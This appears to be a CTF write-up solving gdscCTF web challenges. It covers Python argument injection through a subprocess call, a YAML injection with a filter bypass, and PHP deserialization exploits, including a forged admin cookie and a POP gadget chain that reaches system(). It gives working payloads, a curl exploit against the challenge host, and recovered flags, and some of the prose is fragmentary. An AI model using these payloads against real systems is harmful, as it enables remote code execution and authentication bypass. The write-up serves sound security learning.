Hack. Eat. Sleep. Repeat!!!
@app.route('/run_file', methods=['GET'])
def run_code():
filename = request.args.get("code")
if filename.endswith(".py"):
response = subprocess.Popen(["python3",filename],stdout=-1).communicate()
response = response[0].decode()
print(response)
else:
response = "Invalid file type"
return jsonify({'result': response})
run_file is vulnerable to argument injection.An attacker can control the filename variable and trigger argument injection to Remote Code Exection on the server.argument injection.-c\neval(\"__import__('os').system('id')\")
-c switch triggers the python interpreter, then we use \n to slip to the next line.Then, in the next line, we activate our payload.If we try it with the python interpreter, it’ll be something like this.-c%0aeval(\"__import__(\'os\').system('cat%20flag.txt')\")%23.py
gdscCTF{l0l_tw34k1ng_withSubpr0c3ss}curl -G https://chall1.pxxl.xyz/run_file -d "code=-c%0aeval(\"__import__(\'os\').system('cat%20flag.txt')\")%23.py"
{"result":"gdscCTF{l0l_tw34k1ng_withSubpr0c3ss}\n"}
yaml.While executing it, our payload will be place in yaml syntax e.gx: ""
x: ""
flag gets filtered which you can bypass with regex e.g fl?? should match flag.gdscCTF{4c4dae5677c29dcdcd06ba88565602fa}/ Check cookie
if (!isset($_COOKIE['APP_SESSID'])) {
header("Location: login.php");
exit;
}
// Decode + unserialize cookie
$data = unserialize(base64_decode(urldecode($_COOKIE['APP_SESSID'])),["allowed_classes" => ["User"]]);
// Safety check
if (empty($data->username) && empty($data->role)) {
header("Location: login.php");
exit;
}
$username = $data->username;
$role = $data->role;
// Verify username in DB
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute()->fetchArray(SQLITE3_ASSOC);
if (!$result) {
header("Location: login.php");
exit;
}
// Redirect admin
if ($role === "admin") {
header("Location: admin.php");
exit;
}
unserialize() in php which deserilaizes code and while performing this process, it executes code.It unserializes the cookie and picks the variable username which is checked against the db and validated. Although, the role is checked with an if statement and not based on the db.We can solve this by creating a valid User object with the role set to admin.User.php-:<?php
class User {
public $username;
public $role;
// Constructor to initialize a new User object
public function __construct($username, $role = "user") {
$this->username = $username;
$this->role = $role;
}
}
?>
<?php
class User {
public $username;
public $role;
}
//Create a new object
$user = new User;
$user->username = "z";
$user->role = "admin";
$payload = urlencode(base64_encode(serialize($user)));
echo $payload;
?>
pop chains.It requires abusing magic methods which are triggered when a desired condition is met which we’ll see below.E.g you might have a vulnerable class but might need other classes to trigger it because of their magic methods.admin.php, Code’s sink-:if (isset($_COOKIE['ADMIN_NOTES'])) {
$notes = unserialize(
base64_decode(urldecode($_COOKIE['ADMIN_NOTES']))
);
if (!is_array($notes)) {
$notes = [];
}
}
ADMIN_NOTES cookie in the admin page.Hidden.php-:<?php
class Hidden {
public $command;
public function __construct($command){
$this->command = $command;
}
public function __invoke() {
echo system($this->command);
}
}
?>
__invoke executes any string passed to command as a shell command.You can only trigger __invoke if the object is treated like a function.Call .Call.php-:<?php
class Call
{
public $called;
public function __get($task)
{
($this->called)();
}
}
?>
The Call class requires the variable called which get triggered by __get as a function.__get is only triggered if the code tries to access an inaccessible attribute in the object. To trigger Hidden, we’ll pass it to Call to trigger it because $this->called is treated as a function which triggers __invoke.
The next stop is Work.php. Work.php-:
<?php
class Work
{
public $task;
public function __toString()
{
$this->task->action;
}
}
?>
__toString function to access $this->task which tries to access attributes action which will obviously be non-existent in Call.This will be our next trigger point to execute __get.Although, __toString is only treated triggered if treated as a string e.g passed to function echo which will move us to class Note.User.php-:<?php
ob_start();
class Note {
private $title;
private $content;
private $createdAt;
public $mystery;
public function __construct($title, $content) {
$this->title = $title;
$this->content = $content;
$this->createdAt = date("Y-m-d H:i:s");
}
// Getters
public function getTitle() {
return $this->title;
}
public function getContent() {
return $this->content;
}
public function getCreatedAt() {
return $this->createdAt;
}
public function __destruct() {
if (!empty($this->mystery)) {
echo $this->mystery;
}
}
}
ob_end_flush();
?>
mystery which is passed to __destruct treats mystery as a string which helps us to trigger __toString. Well, we don’t need to worry about __destruct because it gets triggered as soon unserialize is done unserializing the object.public function __destruct() {
if (!empty($this->mystery)) {
echo $this->mystery;
}
<?php
class Note {
private $title;
private $content;
private $createdAt;
public $mystery;
public function __construct($title, $content) {
$this->title = $title;
$this->content = $content;
$this->createdAt = date("Y-m-d H:i:s");
}
}
class Call
{
public $called;
public function __get($task)
{
($this->called)();
}
}
class Hidden {
public $command;
public function __construct($command){
$this->command = $command;
}
public function __invoke() {
echo system($this->command);
}
}
class Work
{
public $task;
public function __toString()
{
$this->task->action;
}
}
//Prepping up hidden
$hidden = new Hidden('id'); //Tweak me
//Prepping up Call and passing hidden
$call = new Call;
$call->called = $hidden;
//Prepping up Work and passing call
$work = new Work;
$work->task = $call;
//Prepping up notes and passing Work
$notes = new Note("pwned","pwned");
$notes->mystery = $work;
$payload = urlencode(base64_encode(serialize($notes)));
echo $payload;
?>
gdscCTF{750bbadee6e299d30c9784972a28f0cb}